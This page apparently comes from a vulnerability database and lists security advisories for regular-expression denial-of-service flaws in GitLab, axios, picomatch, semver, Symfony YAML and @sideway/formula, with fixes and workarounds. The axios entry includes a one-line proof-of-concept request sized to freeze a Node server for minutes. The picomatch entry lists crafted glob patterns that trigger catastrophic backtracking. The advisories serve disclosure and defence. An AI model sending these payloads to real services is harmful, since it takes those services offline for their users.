Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

868 vulnerabilities reference this CWE, most recent first.

GHSA-9XX7-RP3V-8694

Vulnerability from github – Published: 2024-05-23 12:31 – Updated: 2024-05-23 12:31
VLAI
Details

A Denial of Service (DoS) condition has been discovered in GitLab CE/EE affecting all versions before 16.10.6, version 16.11 before 16.11.3, and 17.0 before 17.0.1. It is possible for an attacker to cause a denial of service using a crafted wiki page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-6502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-23T11:15:22Z",
    "severity": "MODERATE"
  },
  "details": "A Denial of Service (DoS) condition has been discovered in GitLab CE/EE affecting all versions before 16.10.6, version 16.11 before 16.11.3, and 17.0 before 17.0.1. It is possible for an attacker to cause a denial of service using a crafted wiki page.",
  "id": "GHSA-9xx7-rp3v-8694",
  "modified": "2024-05-23T12:31:02Z",
  "published": "2024-05-23T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6502"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2263638"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/433534"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C29M-XWM3-CM6R

Vulnerability from github – Published: 2026-09-30 15:03 – Updated: 2026-09-30 15:03
VLAI
Summary
Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
Details

Summary

Axios for Node.js parses data: URLs in lib/helpers/fromDataURI.js. The current RFC-2397 parser uses a regular expression whose media type groups allow / inside both sides of the type/subtype match. A malformed data: URL containing many slashes and no comma forces the JavaScript regex engine to try many possible placements for the separator before failing.

Applications are affected when they pass untrusted URL strings to axios and do not reject or constrain data: URLs before axios parses them.

Impact

An attacker can make the Node.js event loop spend significant synchronous CPU time parsing a single malformed URL. In a server that accepts a URL from an HTTP request and calls axios.get(url), this can block unrelated requests and health checks until parsing completes.

The issue is availability-only. It does not disclose data or modify requests.

Affected Functionality

Affected:

  • Node.js HTTP adapter data URL handling.
  • axios.get() or equivalent calls where config.url has the data: protocol.

Not affected:

  • Browser fetch/XHR URL handling.
  • Node requests where the application rejects data: URLs before calling axios.
  • Older checked 0.x data URL parser shape unless separately proven vulnerable.

Technical Details

lib/helpers/fromDataURI.js contains:

const DATA_URL_PATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;

The [^,;]+ groups include /, so a long string of slashes without a comma can be partitioned around the required \/ in many ways before the match fails. The match runs before axios can apply request timeout behavior, so timeout does not mitigate the parsing pause.

Local timing on axios 1.18.1 with small payloads showed about 2.4 ms at 1000 slashes, 16.6 ms at 3000 slashes, and 71.5 ms at 6000 slashes, consistent with the submitted quadratic scaling while avoiding long-running payloads.

Proof of Concept of Attack

Constrained helper-level demonstration:

import axios from 'axios';

await axios.get('data:' + '/'.repeat(6000));

The request fails after parsing, but the failure is delayed by synchronous regex work. Larger payloads increase the pause substantially.

Workarounds

Reject data: URLs before passing untrusted input to axios, or enforce a strict maximum URL length for URL-fetching endpoints. Applications that do not need data: URL support should deny that protocol explicitly.

Original report

# ReDoS in `fromDataURI` data: URL parser freezes the event loop (DoS) ## Affected - Package: `axios` (Node.js http adapter) - Versions: 1.x (regex present on `v1.x`, current release line) - File: `lib/helpers/fromDataURI.js` - CWE-1333 (Inefficient Regular Expression Complexity) ## Issue `fromDataURI` parses `data:` URLs with this regex:
// lib/helpers/fromDataURI.js:9
const DATA_URL_PATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;
The mediatype tokens `[^,;]+` include `/`, so they can span multiple slashes ambiguously. A `data:` URL made of many slashes with no comma forces the engine to try every way to place the single `\/` divider before failing — quadratic O(n²) backtracking. It runs synchronously on the main thread, so the whole Node event loop is frozen for the entire parse. Reachable through the public API on the Node http adapter (`axios.get(url)`); the browser fetch/xhr adapters are not affected because they do not call `fromDataURI`. A configured `timeout` does not help: the freeze happens during parsing, before any network timer can fire. ## PoC (minimal)
import axios from 'axios';
// ~256 KB data: URL of pure slashes, no comma
await axios.get('data:' + '/'.repeat(262139)); // blocks the event loop ~6 min, then throws
## Lab results Single-threaded "fetch a user-supplied URL" service (link-preview style) calling `axios.get` on a JSON body `{ "url": "..." }`, with `timeout: 1000` set. Scaling is clean O(n²) (constant k ≈ 5.6e-6 ms/byte², stable across sizes): | data: URL size | Event-loop freeze (one request) | | --- | --- | | 32 KB | 6.3 s (measured end-to-end; server logged `event loop BLOCKED for 6.30s`) | | 64 KB | ~24 s | | 128 KB | ~96 s | | 256 KB | ~385 s (~6.4 min) | | 1 MB | ~100 min | During the freeze the server answers nothing: a `/healthz` liveness probe times out for the whole window, and the server's own event-loop monitor cannot even log until the parse finishes. In a run through an intercepting proxy, the proxy hit its 120 s upstream timeout and gave up, while the origin stayed pegged at 100% CPU on one core past that — client/proxy timeouts do not mitigate it. The attacker controls only the URL string and needs no auth. ~256 KB every ~6 min (≈ 0.7 bytes/sec) keeps a server permanently unavailable. ## Impact Unauthenticated remote denial of service. One small request takes a Node service fully offline for minutes; a trickle keeps it down indefinitely. CVSS 3.1: 7.5 (High) — `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`. ## Fix RFC 2045 type/subtype tokens never contain `/`. Excluding `/` from those two character classes removes the ambiguity and the backtracking:
const DATA_URL_PATTERN = /^([^,;/]+\/[^,;/]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;
Worst-case parse drops from ~2600 ms to ~0.002 ms. All valid `data:` URLs, including slashes in the body, parse identically.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.1"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:03:21Z",
    "nvd_published_at": "2026-09-28T18:17:18Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAxios for Node.js parses `data:` URLs in `lib/helpers/fromDataURI.js`. The current RFC-2397 parser uses a regular expression whose media type groups allow `/` inside both sides of the `type/subtype` match. A malformed `data:` URL containing many slashes and no comma forces the JavaScript regex engine to try many possible placements for the separator before failing.\n\nApplications are affected when they pass untrusted URL strings to axios and do not reject or constrain `data:` URLs before axios parses them.\n\n## Impact\n\nAn attacker can make the Node.js event loop spend significant synchronous CPU time parsing a single malformed URL. In a server that accepts a URL from an HTTP request and calls `axios.get(url)`, this can block unrelated requests and health checks until parsing completes.\n\nThe issue is availability-only. It does not disclose data or modify requests.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js HTTP adapter data URL handling.\n- `axios.get()` or equivalent calls where `config.url` has the `data:` protocol.\n\nNot affected:\n\n- Browser fetch/XHR URL handling.\n- Node requests where the application rejects `data:` URLs before calling axios.\n- Older checked `0.x` data URL parser shape unless separately proven vulnerable.\n\n## Technical Details\n\n`lib/helpers/fromDataURI.js` contains:\n\n```js\nconst DATA_URL_PATTERN = /^([^,;]+\\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\\s\\S]*)$/;\n```\n\nThe `[^,;]+` groups include `/`, so a long string of slashes without a comma can be partitioned around the required `\\/` in many ways before the match fails. The match runs before axios can apply request timeout behavior, so `timeout` does not mitigate the parsing pause.\n\nLocal timing on axios `1.18.1` with small payloads showed about 2.4 ms at 1000 slashes, 16.6 ms at 3000 slashes, and 71.5 ms at 6000 slashes, consistent with the submitted quadratic scaling while avoiding long-running payloads.\n\n## Proof of Concept of Attack\n\nConstrained helper-level demonstration:\n\n```js\nimport axios from \u0027axios\u0027;\n\nawait axios.get(\u0027data:\u0027 + \u0027/\u0027.repeat(6000));\n```\n\nThe request fails after parsing, but the failure is delayed by synchronous regex work. Larger payloads increase the pause substantially.\n\n## Workarounds\n\nReject `data:` URLs before passing untrusted input to axios, or enforce a strict maximum URL length for URL-fetching endpoints. Applications that do not need `data:` URL support should deny that protocol explicitly.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n# ReDoS in `fromDataURI` data: URL parser freezes the event loop (DoS)\n\n## Affected\n- Package: `axios` (Node.js http adapter)\n- Versions: 1.x (regex present on `v1.x`, current release line)\n- File: `lib/helpers/fromDataURI.js`\n- CWE-1333 (Inefficient Regular Expression Complexity)\n\n## Issue\n`fromDataURI` parses `data:` URLs with this regex:\n\n```js\n// lib/helpers/fromDataURI.js:9\nconst DATA_URL_PATTERN = /^([^,;]+\\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\\s\\S]*)$/;\n```\n\nThe mediatype tokens `[^,;]+` include `/`, so they can span multiple slashes ambiguously. A `data:` URL made of many slashes with no comma forces the engine to try every way to place the single `\\/` divider before failing \u2014 quadratic O(n\u00b2) backtracking. It runs synchronously on the main thread, so the whole Node event loop is frozen for the entire parse. Reachable through the public API on the Node http adapter (`axios.get(url)`); the browser fetch/xhr adapters are not affected because they do not call `fromDataURI`.\n\nA configured `timeout` does not help: the freeze happens during parsing, before any network timer can fire.\n\n## PoC (minimal)\n```js\nimport axios from \u0027axios\u0027;\n// ~256 KB data: URL of pure slashes, no comma\nawait axios.get(\u0027data:\u0027 + \u0027/\u0027.repeat(262139)); // blocks the event loop ~6 min, then throws\n```\n\n## Lab results\nSingle-threaded \"fetch a user-supplied URL\" service (link-preview style) calling `axios.get` on a JSON body `{ \"url\": \"...\" }`, with `timeout: 1000` set.\n\nScaling is clean O(n\u00b2) (constant k \u2248 5.6e-6 ms/byte\u00b2, stable across sizes):\n\n| data: URL size | Event-loop freeze (one request) |\n| --- | --- |\n| 32 KB | 6.3 s (measured end-to-end; server logged `event loop BLOCKED for 6.30s`) |\n| 64 KB | ~24 s |\n| 128 KB | ~96 s |\n| 256 KB | ~385 s (~6.4 min) |\n| 1 MB | ~100 min |\n\nDuring the freeze the server answers nothing: a `/healthz` liveness probe times out for the whole window, and the server\u0027s own event-loop monitor cannot even log until the parse finishes. In a run through an intercepting proxy, the proxy hit its 120 s upstream timeout and gave up, while the origin stayed pegged at 100% CPU on one core past that \u2014 client/proxy timeouts do not mitigate it.\n\nThe attacker controls only the URL string and needs no auth. ~256 KB every ~6 min (\u2248 0.7 bytes/sec) keeps a server permanently unavailable.\n\n## Impact\nUnauthenticated remote denial of service. One small request takes a Node service fully offline for minutes; a trickle keeps it down indefinitely.\nCVSS 3.1: 7.5 (High) \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`.\n\n## Fix\nRFC 2045 type/subtype tokens never contain `/`. Excluding `/` from those two character classes removes the ambiguity and the backtracking:\n\n```js\nconst DATA_URL_PATTERN = /^([^,;/]+\\/[^,;/]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\\s\\S]*)$/;\n```\n\nWorst-case parse drops from ~2600 ms to ~0.002 ms. All valid `data:` URLs, including slashes in the body, parse identically.\n\u003c/details\u003e\n\n---",
  "id": "GHSA-c29m-xwm3-cm6r",
  "modified": "2026-09-30T15:03:22Z",
  "published": "2026-09-30T15:03:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-c29m-xwm3-cm6r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)"
}

GHSA-C2C7-RCM5-VVQJ

Vulnerability from github – Published: 2026-03-25 21:12 – Updated: 2026-03-27 21:36
VLAI
Summary
Picomatch has a ReDoS vulnerability via extglob quantifiers
Details

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include: - disable extglob support for untrusted patterns by using noextglob: true - reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *() - enforce strict allowlists for accepted pattern syntax - run matching in an isolated worker or separate process with time and resource limits - apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

  • Picomatch repository: https://github.com/micromatch/picomatch
  • lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms
  • Comparable ReDoS precedent: CVE-2024-4067 (micromatch)
  • Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:12:07Z",
    "nvd_published_at": "2026-03-26T22:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n`picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.\n\nExamples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook.\n\nApplications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.\n\n### Patches\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`.\n\nPossible mitigations include:\n- disable extglob support for untrusted patterns by using `noextglob: true`\n- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`\n- enforce strict allowlists for accepted pattern syntax\n- run matching in an isolated worker or separate process with time and resource limits\n- apply application-level request throttling and input validation for any endpoint that accepts glob patterns\n\n### Resources\n- Picomatch repository: https://github.com/micromatch/picomatch\n- `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms\n- Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`)\n- Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)",
  "id": "GHSA-c2c7-rcm5-vvqj",
  "modified": "2026-03-27T21:36:13Z",
  "published": "2026-03-25T21:12:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33671"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micromatch/picomatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Picomatch has a ReDoS vulnerability via extglob quantifiers"
}

GHSA-C2JC-4FPR-4VHG

Vulnerability from github – Published: 2023-02-08 22:38 – Updated: 2023-02-08 22:38
VLAI
Summary
@sideway/formula contains Regular Expression Denial of Service (ReDoS) Vulnerability
Details

Impact

User-provided strings to formula's parser might lead to polynomial execution time.

Patches

Users should upgrade to 3.0.1+.

Workarounds

None.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@sideway/formula"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-08T22:38:10Z",
    "nvd_published_at": "2023-02-08T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nUser-provided strings to formula\u0027s parser might lead to polynomial execution time.\n\n### Patches\n\nUsers should upgrade to 3.0.1+.\n\n### Workarounds\n\nNone.",
  "id": "GHSA-c2jc-4fpr-4vhg",
  "modified": "2023-02-08T22:38:10Z",
  "published": "2023-02-08T22:38:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/formula/security/advisories/GHSA-c2jc-4fpr-4vhg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25166"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/formula/commit/9fbc20a02d75ae809c37a610a57802cd1b41b3fe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapijs/formula"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@sideway/formula contains Regular Expression Denial of Service (ReDoS) Vulnerability"
}

GHSA-C2P3-7M5P-CV8X

Vulnerability from github – Published: 2026-05-27 21:33 – Updated: 2026-05-27 21:33
VLAI
Summary
Symfony hardened the parser when handling untrusted input
Details

Description

Symfony\Component\Yaml\Parser is the entry point for parsing YAML strings into PHP values via Yaml::parse(). When the parser is exposed to attacker-controlled input, deeply nested mappings or sequences cause both the block-level (Parser::parseBlock()) and inline (Inline::parseSequence() / Inline::parseMapping()) parsers to recurse without a depth limit. A crafted document exhausts the PHP stack and crashes the worker.

Resolution

The Parser now tracks recursion depth in a shared ParserState object across both block-level and inline parsing, with a default limit of 128. The limit is configurable via a new $maxNestingLevel argument on Parser::__construct(), Yaml::parse() and Yaml::parseFile().

The patch for this issue is available here for branch 5.4.

Credits

Symfony would like to thank Pietro Tirenna (Shielder) for reporting the issue and Nicolas Grekas for fixing it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-674",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T21:33:07Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Description\n\n`Symfony\\Component\\Yaml\\Parser` is the entry point for parsing YAML strings into PHP values via `Yaml::parse()`. When the parser is exposed to attacker-controlled input, deeply nested mappings or sequences cause both the block-level (`Parser::parseBlock()`) and inline (`Inline::parseSequence()` / `Inline::parseMapping()`) parsers to recurse without a depth limit. A crafted document exhausts the PHP stack and crashes the worker.\n\n### Resolution\n\nThe `Parser` now tracks recursion depth in a shared `ParserState` object across both block-level and inline parsing, with a default limit of **128**. The limit is configurable via a new `$maxNestingLevel` argument on `Parser::__construct()`, `Yaml::parse()` and `Yaml::parseFile()`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/914f427ed9630ddb3904dafba763e53d9f133fe3) for branch 5.4.\n\n### Credits\n\nSymfony would like to thank Pietro Tirenna (Shielder) for reporting the issue and Nicolas Grekas for fixing it.",
  "id": "GHSA-c2p3-7m5p-cv8x",
  "modified": "2026-05-27T21:33:07Z",
  "published": "2026-05-27T21:33:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-c2p3-7m5p-cv8x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/commit/914f427ed9630ddb3904dafba763e53d9f133fe3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45133.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/yaml/CVE-2026-45133.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-45133"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony hardened the parser when handling untrusted input"
}

GHSA-C2QF-RXJJ-QQGW

Vulnerability from github – Published: 2023-06-21 06:30 – Updated: 2026-02-04 20:39
VLAI
Summary
semver vulnerable to Regular Expression Denial of Service
Details

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "semver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "semver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "semver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-alpha"
            },
            {
              "fixed": "5.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-25883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-22T16:52:56Z",
    "nvd_published_at": "2023-06-21T05:15:09Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.",
  "id": "GHSA-c2qf-rxjj-qqgw",
  "modified": "2026-02-04T20:39:09Z",
  "published": "2023-06-21T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25883"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/pull/564"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/pull/585"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/pull/593"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/commit/2f8fd41487acf380194579ecb6f8b1bbfe116be0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/commit/928e56d21150da0413a3333a3148b20e741a920c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/npm/node-semver"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/blob/main/classes/range.js#L97-L104"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/blob/main/classes/range.js%23L97-L104"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/blob/main/internal/re.js#L138"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/blob/main/internal/re.js#L160"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/blob/main/internal/re.js%23L138"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-semver/blob/main/internal/re.js%23L160"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241025-0004"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-SEMVER-3247795"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "semver vulnerable to Regular Expression Denial of Service"
}

GHSA-C2WF-8J59-JJHC

Vulnerability from github – Published: 2024-04-25 12:30 – Updated: 2024-04-25 12:30
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 12.5 before 16.9.6, all versions starting from 16.10 before 16.10.4, all versions starting from 16.11 before 16.11.1. A crafted wildcard filter in FileFinder may lead to a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-2829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
